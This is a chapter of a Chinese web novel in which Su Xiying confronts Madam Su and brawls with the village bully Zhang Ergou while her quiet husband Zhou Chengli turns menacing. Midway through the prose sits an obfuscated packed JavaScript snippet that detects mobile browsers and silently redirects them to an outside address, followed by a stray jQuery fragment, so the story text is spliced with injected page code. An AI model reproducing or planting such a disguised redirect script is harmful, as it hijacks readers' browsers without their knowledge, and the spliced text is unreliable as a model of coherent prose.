苏喜英听到他的话,颇觉得好笑,又坐了下来,抱起双臂看戏。
苏志才完全忽视他娘青白的脸,还在不停地说:“是我强行带走英姑,这不是她的错,是儿子鬼迷心窍了。”
“英姑。”苏志才也跪了下来。
他看着苏喜英:“英姑,你就原谅我吧,这件事与我娘无关。”
苏夫人脸色涨红,怒吼道:“苏志才!你给老娘滚回家去!”
苏志才被吓了一跳,转过身:“娘,我不回去,儿子不能让您在这,您不需要替我认错。”
“啊啊!闭嘴!”苏夫人站起来,但膝盖砸地的痛感还在,她想动又不敢动,只能怒视着苏喜英二人。
“是你们搞的鬼!”
苏喜英向前摊摊手,表情无辜:“我做什么了?”
苏夫人随后又看向周成礼,表情阴狠:“是你干的!”
周成礼垂眸看她,眼神淡漠,像是看块没有活气的东西,他没说话,苏喜英轻轻地扯了下他衣角。
周成礼侧眸看去,随着她的力道往后退。
“夫人,我的夫君身子柔弱,你也不能倒打一耙呀?”说完还冲周成礼眨了眨眼。
周成礼移开视线,落在地砖上。
苏夫人受不了这个屈辱,她小心谨慎地看着他们二人:“扶我起来。”
苏志才听到,立马站起来扶着她。
苏夫人站起来之后,眼睛里的怒气丝毫未减,嘴上却不敢放肆,方才苏喜英打过的地方还在发麻。
“我们苏府不与你们这种破落户计较!”
苏喜英嗤笑:“嗯,您大气!”
苏夫人瞪着她,一瘸一拐地离开。
他们离开之后,苏喜英就抬头看向周成礼。
周成礼察觉到身侧的视线,低垂着眉眼。
“刚才是你吗?”苏喜英问。
周成礼没应。
“你身手可以啊!我就没看到苏月霜吃这么大的亏哈哈哈!”
身侧的笑声传来,周成礼怔住,他愣在原地,心中想好的措辞全都散去。
苏喜英笑的咳嗽,她是真的开心,随后站起身拍了下周成礼的肩膀。
“谢了。”
周成礼肩上落下重量,很快又撤去,他余光里的身影已经消失,才慢慢地转回身,看向紧闭的房门。
——
那场闹剧之后,苏家的日子又恢复往常。
苏喜英因为手受伤,近些日子田里的农活,她都交给了周成礼。
而周成礼果然学习能力惊人,从一开始她哪哪都嫌弃,到后面竟然还要夸上两句。
田里的稻子已经成熟,到了收割的时候。
苏喜英看着周成礼原本冷白病态的肌肤现在看上去健康很多。
“你把这个戴上。”她递了个草帽给他。
周成礼没接:“不用。”
苏喜英见他犟的很,直接垫起脚,一下子扣他头上:“晒黑了就不好看了。”
她口是心非了,晒了太阳之后的周成礼看起来更不错。
但晒伤还要买药治,不划算。
周成礼扶住草帽,听到她的话,也不再拒绝。
“哦对了,你先过去,我先垫吧垫吧两口就来。”
她早上就没啥胃口,现在一想到要干活了,就开始饿的前胸贴后背。
周成礼点头,拿着装备就推门离开,他现在已经对这里熟悉,甚至开始习惯了现在的生活。
苏喜英躺在院子里,晃着腿,刚吃完一个馒头,正准备拿第二个时,外面传来喊叫声。
她皱了皱眉,最近听不得这些声音。
“英姑!快去看看,你相公被人欺负了!”
那人见门敞开,就直接走进来。
苏喜英原本不悦的脸色,听到这话更不好了。
她手里拿了个馒头,一边咬两口一边跟着那人快步走。
“谁欺负他?”她问。
“张二狗啊,听说他在外面挣了钱,谁都不放眼里。”
苏喜英诧异:“张二狗回来了?”
“前两天回来的,呦真别提了,到处显摆的呀!”
他们二人赶到庄稼地头,里里外外围了两圈。
带路的人在前面拨开一条缝隙,让苏喜英挤进来:“让让,英姑来了!”
看热闹的纷纷往两侧避,兴趣越发高涨。
“英姑,你的俊俏郎君被人欺负了!”
围观村民里有人起哄喊了一句,有人附和着:“是啊,小白脸会不会回家哭鼻子啊!哈哈哈哈!”
苏喜英朝他喊去:“他哭不哭我不知道,但你今天得哭。”
说着将手里还剩下的半个馒头砸了过去,正中那人额头。
起哄的人怒气冲冲,就要撸起袖子冲过来,又被其他人拦着,劝道:“你惹她干嘛,你忘了当年那事了?”
听到这话那人止步,愤恨地看向她。
苏喜英擦了擦手:“娘的,早知道扔石头了,浪费老娘的粮食。”
“你!”
苏喜英斜瞥他一眼,就往里走,一进来就看见周成礼站在人群中间,他手里拿着镰刀,垂着头不知在想什么。
而他前面是张牙舞爪的张二狗。
他是苏家坡出了名的混球,从小就不学好,后来爹娘去世,他就离开了苏家坡,如今那副浪荡的模样是一点没变。
张二狗也看见了苏喜英,脸上带着讥笑:“苏喜英,你还没变啊,还是这么跋扈!”
苏喜英走过去,站在他面前,虽然比他矮上小半个头,但气势不输。
“你也没变啊,还是那么小人得志的模样。”
张二狗大笑:“嗳,你说对了,我就是得志了。”
苏喜英也随着他笑:“是吗?在哪发的财?教教妹妹我呗,是妓院啊还是赌场?”
张二狗神色一变,他左右瞥了两眼,咬牙切齿:“苏喜英,你别满嘴喷屎沫子!老子挣的正经钱!”
周围人开始指指点点,张二狗有些慌张。
“你急什么?我没说不正经啊,不管是妓院还是赌场都是凭本事挣钱,你要是也凭本事,你心虚什么?”
张二狗听了这话,瞬间挺直腰杆,双手插在腰上昂起头:“那可是,不像你的入赘相公,花女人钱。”
一直被冷落在一旁的周成礼忽然被提到,他的视线从苏喜英身上挪开,落在他身上。
张二狗摇头晃脑地瞥过去,与他视线相撞时,他不知为何气势突然泄下去,反而心里开始胆怯,但这么多人在,他强行硬道:“你看什么看!我会怕你不成!”
苏喜英也转头看过去,可她看到的是他委屈受伤的模样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15193532|165605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她突然火就大了起来,像自己家的黄狗被人打了一样。
她猛地朝张二狗扑过去,将他压在地上。
张二狗没反应过来,被苏喜英结结实实砸到泥土地上,又没反应过来,脸上被抓了两道血痕。
“泼妇!滚开!”张二狗在她的凌乱打法下毫无还手之力,只能胡乱扑腾。
周围人看见这场景,纷纷嘲笑。
“苏家这大女儿真是没救了,哪有一点女人的样子,和男人这样扭打!”
“就是就是!”
周成礼眼神暗淡,他握紧镰刀,刚要抬脚,就瞥见一旁冲过来一人。
“英姑,英姑!”
苏喜英打上头,一点没听到,直到那句话。
“你再打,我就要守寡了。”
低低地声音像落入湖面的石头,平静地激起千层浪。
苏喜英呆滞住,她停下手里的动作,不敢相信地看着豆蔻:“你说什么?”
张二狗早就看到豆蔻,他见苏喜英停下来,伸手推她,而身后不知是谁放的镰刀,刀刃横在她背后,若是倒下去……
苏喜英没反应过来,被他猛地一推,却意外倒入一怀抱中,她扭头看过去。
周成礼眸中黑压压一片,看不出情绪。
她现在没有功夫管他,她拉过豆蔻,焦急问道:“你刚才说什么?”
张二狗得意摇着头:“还能说什么?说——”
“你闭嘴!”
苏喜英力喝,偏头怒视他,方才还清明的瞳孔,现在一片红。
张二狗被骇到,张了张嘴,一时忘记出声。
豆蔻咬着唇,泪水不断地滑过脸庞,她说不出来,也说不出口。
“原来她就是张二狗要娶的媳妇啊?怪不得他这两天神气的很。”
“哎,可惜了一小美人,怎么就瞧上他了呢。”
人群里有人发出感叹,声音细小但都丝毫不差落进了她的耳朵里。
苏喜英的心口好像被什么攥住,一点一点收紧,涨的难受。
“真的吗?他们说的……”她垂眸看她,低声问。
豆蔻无言,她低垂着头,让泪珠掉在田埂上,脸上干涸的泪痕泛着丝丝缕缕的痒。
“你回答我啊?”苏喜英不敢大声吓她,但她现在急的不行。
过了一会,豆蔻点头,泪珠随着她的动作飞了起来,随即又落到了泥土地里,连印记都没有。
苏喜英心凉半截,她拽着豆蔻转身就走。
张二狗瞧见了,要拦住她:“苏喜英,你干什么?”
苏喜英现在一身怒火,她甩开一侧伸过来的手:“滚!”
她带着豆蔻离开后,一群看热闹的才逐渐散去。
田地里还有几个干活的,时不时地抬头看过来。
张二狗也没了意思,他拍了拍身上的泥,瞪了一眼周成礼,就准备离开。
周成礼低头看向手里的镰刀,张开手颠了颠:“站住。”
张二狗仿佛听到什么好笑的事情,他不可思议地扭过头,面上全是讥讽:“我——”
然而他刚转过来,话还在嘴边,方才还在几步之外的人就出现在自己面前,距离近的他瞧见了面前人眼底的寒意,又见他往前探了探身子,张二狗下意识地想逃。
“我手上割过的可不止麦子。”